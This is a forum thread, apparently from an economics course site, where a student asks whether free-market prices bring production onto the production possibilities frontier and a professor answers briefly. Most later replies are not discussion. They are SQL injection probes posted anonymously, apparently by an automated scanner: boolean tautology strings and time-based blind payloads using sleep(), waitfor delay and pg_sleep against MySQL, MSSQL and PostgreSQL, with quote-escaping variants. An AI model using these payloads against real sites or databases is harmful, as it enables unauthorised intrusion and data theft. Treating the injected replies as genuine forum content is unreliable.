PPF

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  • This topic has 19 replies, 3 voices, and was last updated 2 months ago by Anonymous.
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  • #18958
    johnwinters91
    Participant

    Professor,

    Do prices in a free market lead to the maximization of an economy’s production possibilities frontier?

    When someone says prices maximize efficiency, what is usually meant by that?

    #18959
    jmherbener
    Participant

    The PPF is usual thought of as the maximum potential output of the economy, given its resources and technology. If so, then a free market (with its array of prices) will result in production at a point on the PPF. Prices distorted by government intervention will result in production at a point interior to the PPF. The economy will produce less than its potential.

    #54413
    Anonymous
    Inactive

    555

    #54460
    Anonymous
    Inactive

    -1 OR 2+823-823-1=0+0+0+1 —

    #54461
    Anonymous
    Inactive

    -1′ OR 2+28-28-1=0+0+0+1 —

    #54462
    Anonymous
    Inactive

    -1″ OR 2+182-182-1=0+0+0+1 —

    #54464
    Anonymous
    Inactive

    555*if(now()=sysdate(),sleep(15),0)

    #54466
    Anonymous
    Inactive

    5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

    #54468
    Anonymous
    Inactive

    5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z

    #54470
    Anonymous
    Inactive

    (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

    #54472
    Anonymous
    Inactive

    555-1; waitfor delay ‘0:0:15’ —

    #54474
    Anonymous
    Inactive

    555-1); waitfor delay ‘0:0:15’ —

    #54476
    Anonymous
    Inactive

    555-1 waitfor delay ‘0:0:15’ —

    #54478
    Anonymous
    Inactive

    555Ok6vEo6P’; waitfor delay ‘0:0:15’ —

    #54480
    Anonymous
    Inactive

    555-1 OR 449=(SELECT 449 FROM PG_SLEEP(15))–

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